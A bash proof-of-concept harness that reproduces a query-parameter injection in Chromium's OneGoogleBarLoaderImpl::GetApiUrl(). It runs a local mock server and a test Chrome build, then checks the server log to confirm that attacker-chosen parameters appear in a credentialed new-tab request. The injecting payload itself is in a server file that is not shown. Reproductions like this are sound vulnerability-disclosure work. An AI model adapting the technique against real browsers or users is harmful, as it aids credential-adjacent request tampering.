#!/bin/bash
# Reproduce: query-parameter injection via unescaped 'async' value in
# OneGoogleBarLoaderImpl::GetApiUrl().
#
# Uses --google-base-url so the credentialed /async/newtab_ogb request lands
# on the local server, letting us observe the injected top-level params.
set -eu

CHROME_SRC=${CHROME_SRC:-/chromium/chromium/src}
CHROME=${CHROME:-$CHROME_SRC/out/asan/chrome}
HERE=$(cd "$(dirname "$0")" && pwd)
PROFILE=$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)
LOG="$HERE/chrome.log"

cd "$HERE"
rm -f requests.log "$LOG"

python3 server.py &
SRV=$!
trap 'kill $SRV 2>/dev/null; rm -rf "$PROFILE"' EXIT
sleep 1

"$CHROME" \
    --no-first-run --no-default-browser-check --no-sandbox \
    --disable-gpu --user-data-dir="$PROFILE" \
    --enable-logging=stderr --v=0 \
    --google-base-url=http://127.0.0.1:28080/ \
    'chrome://new-tab-page' \
    >"$LOG" 2>&1 &
CHROME_PID=$!

# Give the NTP -> chrome-untrusted iframe -> OGB fetch -> after_bar_script ->
# malicious fetch -> second OGB fetch chain time to complete.
sleep 20
kill $CHROME_PID 2>/dev/null || true
wait $CHROME_PID 2>/dev/null || true

echo
echo "=== /async/newtab_ogb requests received by mock server ==="
cat requests.log || true
echo
echo "=== Browser-process [POC] GetApiUrl log lines ==="
grep -F '[POC] GetApiUrl' "$LOG" || true
echo
if grep -q 'INJECTED_PARAM' requests.log; then
  echo "RESULT: INJECTION CONFIRMED -- attacker-chosen 'authuser' / 'INJECTED_PARAM' appear as top-level query params in the credentialed request."
else
  echo "RESULT: injection NOT observed in server log."
fi